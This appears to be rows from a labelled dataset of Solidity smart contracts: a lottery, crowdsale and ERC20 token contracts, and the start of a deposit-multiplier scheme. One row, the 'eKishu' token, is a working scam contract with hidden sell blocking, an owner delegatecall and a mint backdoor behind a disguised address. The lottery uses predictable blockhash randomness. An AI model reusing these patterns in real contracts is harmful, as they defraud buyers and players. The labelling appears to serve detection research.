FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(!err) {
numbers = sortNumbers(numbers);
games[GAME_NUM].membersCounter++;
mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
games[GAME_NUM].members[mbrCnt].matchNumbers = 0;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length-1; i++) {
for(uint8 j = i+1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8(uint(blockhash(block.number - 1 - num*2)) % MAX_NUMBER + 1);
}
function getHour(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getWeekday(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function getGameInfo(uint i) public view returns (uint, uint, uint, uint8, uint8, uint8, uint8, uint8, uint8) {
Game memory game = games[i];
return (game.datetime, game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.matchNumbers, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 146 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract CrowdsaleBase is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
State public testState;
function CrowdsaleBase(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
return tokenAmount;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) internal;
}
contract Crowdsale is CrowdsaleBase {
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) CrowdsaleBase(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function() payable {
invest(msg.sender);
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract StandardTokenExt is StandardToken {
function isToken() public constant returns (bool weAre) {
return true;
}
}
contract MintableToken is StandardTokenExt, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Minted(address receiver, uint amount);
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedTokenCappedCrowdsale is Crowdsale {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
maximumSellableTokens = _maximumSellableTokens;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) internal {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 1,986 |
pragma solidity ^0.4.23;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BurnableToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract UniDAG is StandardToken{
string public constant name = "UniDAG";
string public constant symbol = "UDAG";
uint8 public constant decimals = 18;
address public owner;
address public CrowdsaleContract;
constructor () public {
totalSupply_ = 60600000e18;
owner = 0x653859383f60741880f377085Ec44Cf75702C373;
CrowdsaleContract = msg.sender;
balances[msg.sender] = 30300000e18;
balances[0x1b3481e6c425baD0C8C44e563553BADF8Aca9415] = 6060000e18;
balances[0x174cc6965Dd694f3BCE8B51434b7972ed8497374] = 7575000e18;
balances[0xF4A966739FF81B09CDb075Bf896B5Bd943C50f52] = 7575000e18;
balances[0x42373a7cE8dBF539e0b39D25C3F5064CFabBE227] = 9090000e18;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function burnCrowdsale() public onlyOwner {
_burn(CrowdsaleContract, balances[CrowdsaleContract]);
}
}
contract UniDAGCrowdsale {
using SafeMath for uint256;
UniDAG public token;
address public owner;
uint256 public rateFirstRound = 4000;
uint256 public rateSecondRound = 3500;
uint256 public rateThirdRound = 3000;
uint256 public openingTime = 1530403200;
uint256 public secondRoundTime = 1539129600;
uint256 public thirdRoundTime = 1547856000;
uint256 public closingTime = 1556582399;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount, uint256 timestamp);
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor () public {
token = new UniDAG();
owner = msg.sender;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens, block.timestamp);
_forwardFunds();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) view internal onlyWhileOpen {
require(_beneficiary != address(0));
require(_weiAmount >= 10e15);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount) view internal returns (uint256) {
if(block.timestamp < secondRoundTime) return _weiAmount.mul(rateFirstRound);
if(block.timestamp < thirdRoundTime) return _weiAmount.mul(rateSecondRound);
return _weiAmount.mul(rateThirdRound);
}
function _forwardFunds() internal {
owner.transfer(msg.value);
}
} | 0 | 1,369 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract eKishu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,811 |
pragma solidity ^0.4.25;
contract InfinytiProfit {
address constant private PROMO = 0x1709e81Fe058c96865B48b319070e8e75604D20a;
uint constant public PROMO_PERCENT = 5;
uint constant public MULTIPLIER = 125;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
require(block.number >= 6618692);
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 5 ether);
